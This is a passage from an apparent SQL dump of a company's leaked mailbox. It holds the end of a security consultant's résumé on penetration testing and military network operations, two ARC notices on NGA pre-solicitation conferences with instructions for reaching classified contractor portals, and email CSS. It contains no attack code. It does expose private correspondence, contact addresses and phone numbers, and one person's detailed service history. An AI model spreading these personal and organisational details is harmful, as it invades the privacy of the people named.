processes and software development life\r\ncycle procedures supporting the federal landscape.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe Computer Network\r\nDefense Group LLC&nbsp;(cybersecurity information assurance consulting firm)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oct 08-Present\r\n\r\n\r\n\r\n\r\n\r\nChief Executive Officer&nbsp;| Tech: Nessus, Snort,\r\nMetasploit, Web Application Attack and Audit Framework (w3af), eEye Retina\r\nNetwork Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and\r\nopen source intelligence collection analysis tools.\r\n\r\nChief\r\nCyber Security Consultant, lead penetration testing teams, vulnerability\r\nassessments and risk mitigation assessments.\r\n\r\n&nbsp;Business acumen:\r\nProcured two professional consulting service agreements, two statements of\r\nwork, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses,\r\nbusiness development, service development and delivery, marketing, and\r\nadvertising.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnited States Cyber\r\nCommand&nbsp;(formally Joint Functional Component Command &#8211; Network Warfare)&nbsp;&nbsp;&nbsp; Aug 08-Dec 08\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nComputer Network Operations Subject Matter Expert,\r\nSenior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.\r\n\r\nManaged team of 15\r\npersons, responsible for coordinating offensive computer network operations for\r\nthe United States Department of Defense and other federal agencies. This\r\ncomponent facilitates cooperative engagement with other national entities in\r\ncomputer network defense and offensive information warfare as part of the global\r\ninformation operations mission.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNavy Information\r\nOperations Command San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oct\r\n05-Dec 07\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nComputer Network Defense\r\nOperations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina\r\nNetwork Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus\r\nvulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).\r\n\r\n\r\n\r\n\r\n\r\nDirected\r\n300+ vulnerability and penetration security assessments on 300+ networks.\r\nManaged overall network security team of 25 persons and 18 networks across the\r\nPacific Ocean.\r\n\r\n&nbsp;Lead instructor of\r\npassive network analysis, log analysis, intrusion detection, defensive tool\r\ninstallation and configuration for 100+ local customers and 100+ global\r\ncustomers across the Pacific Ocean.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFleet Information Warfare\r\nCommand, Detachment San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oct\r\n04-Oct 05\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nComputer Network Defense Analyst,\r\nSenior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper,\r\nEthereal (a.k.a. Wireshark).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander,\r\nU.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+\r\nvulnerability and penetration security assessments on 300+ networks. Managed\r\n50+ incident response conditions and 20+ incident response teams for Commander,\r\nThird Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on\r\nvulnerability scanning, vulnerability analysis, event monitoring and compliance\r\nreporting, incident handling, and penetration testing for 100+ customers.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFleet Intelligence\r\nTraining Center Pacific, San Diego&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aug\r\n03-Oct 04\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCommunications Watch Officer&nbsp;|Tech:\r\nUnix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices,\r\nSymantec Security Center.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems\r\nadministrator for 1,000+ customers and 2,000+ communications circuits ranging\r\nfrom west of the Mississippi river to the Hawaiian Islands.\r\n\r\nUSS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oct\r\n00 - Aug 03\r\n\r\nSystems Administrator&nbsp;|Tech: Unix/Windows NT\r\nenterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated\r\nDigital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals\r\nExploitation Space (SSES) global network connectivity which included 20 voice\r\nand data circuits and three networked domains.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEDUCATION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWestwood College, Denver, CO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; May\r\n09\r\n\r\n\r\n\r\n\r\n\r\nBS in Information Systems Security&nbsp; Magna Cum Laude (GPA 3.97)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMILITARY\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnited States Navy Active Duty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oct\r\n00 - Present\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a.\r\nInformation Warfare), Computer Network Operations: Computer Network Defense,\r\nComputer Network Exploitation and Computer Network Attack.&nbsp; Received\r\nvarious personal commendations and awards.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8434,'aaron_hbgary_com/8434.html'),(10656,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008231.M400516P14101Q5511.eml','federal@hbgary.com','NGA / RDAS Pre-Solicitation Conference Scheduled','\r\nA Pre-Solicitation Conference has been scheduled for the NGA-RDAS effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',10243,'aaron_hbgary_com/10243.html'),(10657,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008231.M619590P14101Q5512.eml','federal@hbgary.com','NGA / ESMARTS Pre-Solicitation Conference Scheduled','\r\nA Pre-Solicitation Conference has been scheduled for the NGA-ESMARTS effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: 